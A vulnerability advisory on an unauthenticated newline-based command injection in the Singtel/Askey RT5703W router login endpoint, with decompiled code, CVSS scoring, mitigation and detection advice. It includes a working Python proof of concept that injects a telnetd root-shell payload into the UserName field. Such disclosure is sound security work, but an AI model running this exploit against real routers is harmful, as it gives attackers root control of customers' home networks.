Summary
Product | Singtel WI-FI 6 ROUTER RT5703W |
---|---|
Vendor | Singtel/Askey |
Severity | Critical - Adversaries may exploit software vulnerabilities to execute arbitrary commands on the underlying OS with root privileges. |
Affected Versions | V1.6.4-5194 (latest version as of writing) |
Tested Versions | V1.6.4-5194 (latest version as of writing) |
Internal Identifier | STAR-2023-0097 |
CVE Identifier | TBD |
CVE Description | OS command injection vulnerability in net.cgi in Singtel WI-FI 6 ROUTER RT5703W V1.6.4-5194 allows an unauthenticated attacker on LAN to execute arbitrary OS commands via the /cgi-bin/Login endpoint. |
CWE Classification(s) | CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) |
CAPEC Classification(s) | CAPEC-88: OS Command Injection |
CVSS3.1 Scoring System
Base Score: 9.3 (Critical)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Local |
Attack Complexity (AC) | Low |
Privileges Required (PR) | None |
User Interaction (UI) | None |
Scope (S) | Changed |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Product Overview
Singtel WI-FI 6 ROUTER RT5703W is a router provided by Singtel to their customers, manufactured by Askey Computer Corp.
Vulnerability Summary
There is an unauthenticated OS Command Injection vulnerability in Singtel WI-FI 6 ROUTER RT5703W at /cgi-bin/Login
, allowing an adversary to execute arbitrary OS commands on the underlying OS with root privileges.
Vulnerability Details
It is discovered that in the login process of the admin panel via https://cap.singtel/1.6.4/cgi-bin/Login, the user-supplied username value is inserted into a string that is later executed as a system command. Below is the code snippet related to the vulnerability within the login
function, located at address 10a78c
.
int login(char* arg1, char* arg2, char* response_data, char* request_data)
{
...
request_json = json_tokener_parse(request_data);
json_object_object_get_ex(request_json, "UserName", &username_obj);
...
username_str = json_object_get_string(username_obj);
strlcpy(username, username_str, 0x20);
...
if (spec_char_check(username, 0)) // [1] checks for shell metacharacters to prevent command injection
{
// verify credentials
...
if (login_successful)
{
...
snprintf(cmd, 0x80, "cmd_exec \"/usr/askey/sbin/accesslog %s 1 %s 0\"", username, login_ip_address); // [2]
...
}
else
{
...
snprintf(cmd, 0x80, "cmd_exec \"/usr/askey/sbin/accesslog %s 1 %s 0\"", username, login_ip_address); // [3]
...
}
...
do_cmd(cmd); // [4] wrapper that calls `popen`
}
...
}
At [1]
, spec_char_check
(138c78
) is called to check whether the username contains any characters in a blacklist ("&;|`$
). If so, it returns -1
and the login endpoint will give an error response. If none of the special characters are found in the username, the program proceeds to verify the credentials. After verification, regardless of whether the login is successful or not, the program creates a command string (at [2]
and [3]
) to log the login attempt. At [4]
, the command string is passed to do_cmd
which is a wrapper function that calls popen
.
The blacklist is insufficient to prevent a command injection attack, as it does not check the user-supplied string for a newline character \n
. To better understand how a newline character allows for command injection in this scenario, the main
function of cmd_exec
is shown as follows:
void main(int argc, char** argv)
{
...
memset(concated_args, 0, 0x200);
memset(cmd, 0, 0x200);
for (i = 1; i < argc; i++) {
arg = argv[i];
arg_len = strlen(arg);
concated_args_len = strlen(concated_args);
if (concated_args_len + arg_len > 0x1ff) break;
strncat(concated_args_len, arg, len);
if (i != argc - 1) {
strcat(concated_args_len," ");
}
}
__uid = geteuid();
setuid(__uid);
snprintf(cmd, 0x200, "/bin/ash -c \"%s\"", concated_args);
system(cmd);
...
return;
}
The for-loop concatenates all the command line arguments supplied to the program, and executes it as an ash
shell script via /bin/ash -c
by calling system
. Furthermore, the program calls setuid(geteuid())
before calling system
. This means that the command string is executed in the context of the console
user, who has uid=0
, same as the root
user.
/ # ls -lah /usr/sbin/cmd_exec
-rwsr-xr-x 1 console root 5.1K Mar 30 18:02 /usr/sbin/cmd_exec
/ # head /etc/passwd
console❌0:0:root:/root:/bin/ash
root❌0:0:root:/root:/bin/ash
Every line within the string provided to ash -c
is executed as an individual command. As such, \n
allows for command injection to execute arbitrary commands on the underlying OS. The injected commands are executed in the context of the console
user (uid=0
), while the web application only runs in the context of the meerkat
user (uid=2
). Hence, this vulnerability also leads to an elevation of privileges.
Exploit Conditions
This vulnerability can be exploited when the attacker is connected to the router’s LAN without needing any valid credentials.
Proof-of-Concept
We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the OS command injection vulnerability to start a telnet service at port 31337, running as the console
user with uid=0
.
Requirements
- Python3
- Python
requests
library- To install, run
pip3 install requests
.
- To install, run
- telnet
- To install, run
sudo apt install -y telnet
.
- To install, run
Reproduction Steps
- Run
python3 poc.py
to exploit the service. - Run
telnet cap.singtel 31337
to get a shell.
Exploit Details
The command injection can be exploited by setting the POST request field UserName
to \n<INSERT COMMAND HERE>\n
. In this script, the field is set to \ntelnetd -l /bin/sh -p 31337\n
. The other fields Password
and token
can be set to any arbitrary value.
A sample exploit script is shown below. It is also attached along with this report as poc.py.
import requests
PAYLOAD = "telnetd -l /bin/sh -p 31337"
URL = "https://cap.singtel:443/1.6.4/cgi-bin/Login"
COOKIES = {"sessionID": "none", "expert": "true"}
HEADERS = {"Sec-Ch-Ua": "", "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36", "Sec-Ch-Ua-Platform": "\"\"", "Origin": "https://cap.singtel", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://cap.singtel/1.6.4/login.html", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
JSON={"Password": "b5f8e906a52b5c10adca509600cbe66f", "token": "", "UserName": f"\n{PAYLOAD}\n"}
requests.post(URL, headers=HEADERS, cookies=COOKIES, json=JSON, verify=False)
Suggested Mitigations
Ensure that the newline character (\n
) is included in the sanitization list used by the spec_char_check
function.
Detection Guidance
It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all POST requests made to /cgi-bin/Login
and manually verifying if the UserName
field contains suspicious records (e.g. fuzzing, newline characters, OS commands).
Credits
Daniel Lim Wee Soong (@daniellimws) of STAR Labs SG Pte. Ltd. (@starlabs_sg)